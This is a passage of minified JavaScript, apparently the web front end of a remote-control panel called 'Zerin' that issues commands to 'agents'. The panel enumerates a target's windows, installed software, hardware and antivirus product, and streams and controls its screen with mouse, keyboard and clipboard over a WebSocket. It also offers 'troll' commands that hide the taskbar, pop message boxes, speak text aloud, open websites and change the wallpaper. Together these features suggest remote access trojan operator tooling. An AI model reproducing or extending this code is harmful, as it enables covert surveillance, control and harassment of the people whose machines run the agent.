Xn(e)).results)==null?void 0:w.find(k=>k.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const k=JSON.parse(N.output);r(k)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function tV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const O=30;v.current=setInterval(async()=>{var A;S++;try{const P=(A=(await Xn(e)).results)==null?void 0:A.find(D=>D.task_id===z);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const D=JSON.parse(P.output);r(D)}catch{l("Failed to parse installed apps data")}}else S>=O&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]);function w(z){p===z?g(S=>S==="asc"?"desc":"asc"):(h(z),g("asc"))}const N=[...d?n.filter(z=>{const S=d.toLowerCase();return z.name.toLowerCase().includes(S)||z.version.toLowerCase().includes(S)||z.publisher.toLowerCase().includes(S)}):n].sort((z,S)=>{const O=z[p]||"",A=S[p]||"",T=O.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),k=({col:z})=>p!==z?null:x==="asc"?a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(k,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(k,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(k,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(k,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((z,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:z.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:z.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:z.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:z.install_date||"-"})]},`${z.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function nV({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),s(!1)}}},[e,d]);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:p,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"OS",value:n.os}),a.jsx(Di,{label:"AV",value:n.av}),a.jsx(Di,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Di({label:e,value:t}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),a.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function rV(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const s=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(A.current=window.setInterval(()=>{const q=O.current;u(te=>te.fps===q.fps&&te.frameCount===q.frameCount&&te.dirtyTiles===q.dirtyTiles&&te.totalTiles===q.totalTiles?te:{fps:q.fps,frameCount:q.frameCount,width:q.width,height:q.height,lastFrameMs:q.lastFrameMs,dirtyTiles:q.dirtyTiles,totalTiles:q.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const G=m.useCallback((q,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==q||C.height!==te)&&(C.width=q,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),R=m.useRef(new ArrayBuffer(5)),K=m.useRef(new DataView(R.current)),_=m.useCallback(q=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(q)},[]),M=m.useMemo(()=>({sendMouseMove:(q,te)=>{const C=K.current;C.setUint8(0,1),C.setUint16(1,q,!0),C.setUint16(3,te,!0),_(R.current)},sendMouseButton:(q,te,C,Y)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,q),B.setUint8(2,te),B.setUint16(3,C,!0),B.setUint16(5,Y,!0),_(ne)},sendMouseScroll:(q,te,C)=>{const Y=new ArrayBuffer(7),ne=new DataView(Y);ne.setUint8(0,3),ne.setInt16(1,q,!0),ne.setUint16(3,te,!0),ne.setUint16(5,C,!0),_(Y)},sendKey:(q,te,C)=>{const Y=new ArrayBuffer(8),ne=new DataView(Y);ne.setUint8(0,4),ne.setUint8(1,q),ne.setUint16(2,te,!0),ne.setUint32(4,C,!0),_(Y)},sendClipboard:q=>{const te=new TextEncoder().encode(q),C=new ArrayBuffer(5+te.length),Y=new DataView(C);Y.setUint8(0,5),Y.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),_(C)},setQuality:q=>{D.current=q;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,q),_(te)},setViewOnly:q=>{d.current=q},sendControl:(q,te)=>{const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,q),Y.setUint8(2,te),_(C)}}),[_]),F=m.useCallback(()=>{if(!Rb||f.current)return;const q=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});q.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:Y,height:ne,cursorX:B,cursorY:le}=te.data;p.current(C,Y,ne,B,le)}},f.current=q},[]),U=m.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),V=m.useCallback(()=>{if(Rb||b.current!==null)return;const q=()=>{const te=y.current,C=g.current,Y=w.current;if((te.length>0||C.length>0)&&Y){const{canvas:ne,ctx:B}=G(Y.width,Y.height);for(const le of te)B.fillStyle=`rgb(${le.r},${le.g},${le.b})`,B.fillRect(le.col*le.tileSize,le.row*le.tileSize,le.tileSize,le.tileSize);for(const le of C)B.drawImage(le.bitmap,le.col*le.tileSize,le.row*le.tileSize),le.bitmap.close();y.current=[],g.current=[],p.current(ne,Y.width,Y.height,Y.cursorX,Y.cursorY)}b.current=requestAnimationFrame(q)};b.current=requestAnimationFrame(q)},[G]),Z=m.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const q of g.current)q.bitmap.close();g.current=[],y.current=[]},[]),ae=m.useCallback(()=>{if(T.current!==null)return;const q=64*1024;T.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>q&&!P.current){P.current=!0;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,30),_(C)}else if(te.bufferedAmount<=q/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,D.current),_(C)}}},250)},[_]),ue=m.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),P.current=!1},[]),be=m.useCallback(()=>{if(i.current)return;const q=st();if(!q)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(q)}`,Y=new WebSocket(C);Y.binaryType="arraybuffer",i.current=Y,Y.onopen=()=>{l(!0),F(),V(),ae()},Y.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const le=B.getUint16(0,!0),we=B.getUint16(2,!0),Ne=Number(B.getBigUint64(4,!0)),Ae=B.getUint8(12),$=performance.now(),fe=k.current,ve=z.current%N;fe[ve]=$,z.current=ve+1,S.current1){const Q=fe[(ve+1-se+N)%N],he=($-Q)/1e3;he>0&&(H=Math.round((se-1)/he))}const W=O.current;if(W.frameCount++,W.fps=H,W.width=le,W.height=we,W.lastFrameMs=Ne,Ae===1){const Q=rV(B,13,ne.data.byteLength);W.dirtyTiles=Q.numDirty,W.totalTiles=Q.cols*Q.rows;const he=Q.cols>0?Math.ceil(le/Q.cols):128,E=Q.tiles.filter(J=>J.codec===1),ce=Q.tiles.filter(J=>J.codec===2);if(f.current){const J=[],xe=E.map(ze=>{const X=ze.data.buffer.slice(ze.data.byteOffset,ze.data.byteOffset+ze.data.byteLength);return J.push(X),{col:ze.col,row:ze.row,data:X}}),ke=ce.map(ze=>({col:ze.col,row:ze.row,r:ze.data[0],g:ze.data[1],b:ze.data[2]}));f.current.postMessage({type:"tiles",tiles:xe,solids:ke,width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:he},J)}else{w.current={width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const J of ce)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:he});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const xe of E){const ke=v.current.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row);ke>=0?v.current[ke]={...xe,tileSize:he}:v.current.push({...xe,tileSize:he})}return}j.current=!0;let J=E.map(xe=>({...xe,tileSize:he}));if(v.current&&v.current.length>0){for(const xe of v.current)J.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row)<0&&J.push(xe);v.current=[]}Promise.all(J.map(xe=>{const ke=new Blob([xe.data],{type:"image/jpeg"});return createImageBitmap(ke).then(ze=>({bitmap:ze,col:xe.col,row:xe.row,tileSize:xe.tileSize}))})).then(xe=>{j.current=!1;for(const ke of xe)g.current.push(ke)}).catch(()=>{j.current=!1})}}}else{W.dirtyTiles=0,W.totalTiles=0,s.current&&URL.revokeObjectURL(s.current);const Q=new Uint8Array(ne.data,13),he=new Blob([Q],{type:"image/jpeg"}),E=URL.createObjectURL(he);s.current=E,p.current(E,le,we)}},Y.onclose=()=>{l(!1),i.current=null,U(),Z(),ue(),r==null||r()},Y.onerror=()=>{Y.close()}},[e,t,r,F,U,V,Z,ae,ue]),ye=m.useCallback(()=>{i.current&&(i.current.close(),i.current=null),s.current&&(URL.revokeObjectURL(s.current),s.current=null),U(),Z(),ue(),l(!1)},[U,Z,ue]);return m.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),s.current&&URL.revokeObjectURL(s.current),U(),Z(),ue()},[U,Z,ue]),{isConnected:o,stats:c,controls:M,connect:be,disconnect:ye}}function iV({agentId:e}){const t=m.useRef(null),n=m.useRef(null),[r,i]=m.useState(!1),s=m.useRef(!1),[o,l]=m.useState({w:0,h:0}),[c,u]=m.useState(!0),[d,f]=m.useState(null),[p,h]=m.useState(!1),[x,g]=m.useState("Zerin"),[y,v]=m.useState(""),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState("https://"),[A,T]=m.useState(!1),[P,D]=m.useState(""),[G,R]=m.useState(!1),[K,_]=m.useState(!1),[M,F]=m.useState(!1),[U,V]=m.useState(!1),[Z,ae]=m.useState(!1),[ue,be]=m.useState(!1),ye=(H,se="ok")=>{f({text:H,type:se}),setTimeout(()=>f(null),2500)},q=m.useCallback((H,se,W)=>{s.current||(s.current=!0,i(!0)),l({w:se,h:W});const Q=t.current;if(!Q)return;const he=Q.getContext("2d");if(he)if((Q.width!==se||Q.height!==W)&&(Q.width=se,Q.height=W),typeof H=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>he.drawImage(E,0,0),E.src=H}else H instanceof ImageBitmap?(he.drawImage(H,0,0),H.close()):he.drawImage(H,0,0)},[]),{isConnected:te,stats:C,connect:Y}=kv({agentId:e,onFrame:q}),[ne,B]=m.useState(!1);m.useEffect(()=>{!e||!ne||Ex(e).then(()=>Y()).catch(()=>{Y()})},[e,Y,ne]);const le=async(H,se)=>{try{await Me(e,{command:H,args:se}),ye(`Sent: ${H}`)}catch{ye(`Failed: ${H}`,"err")}},we=()=>{const H=!c;u(H),le("troll_taskbar",[H?"show":"hide"])},Ne=(H,se,W)=>{const Q=!H;se(Q),le(W,[Q?"on":"off"])},Ae=()=>{y.trim()&&(le("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},$=()=>{j.trim()&&(le("troll_tts",[j]),w(!1),N(""))},fe=()=>{if(!(!S.trim()||S==="https://")){if(!/^https?:\/\//i.test(S)){ye("URL must start with http:// or https://","err");return}le("troll_website",[S]),z(!1),O("https://")}},ve=()=>{P.trim()&&(le("troll_wallpaper",[P]),T(!1),D(""))};return a.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-3 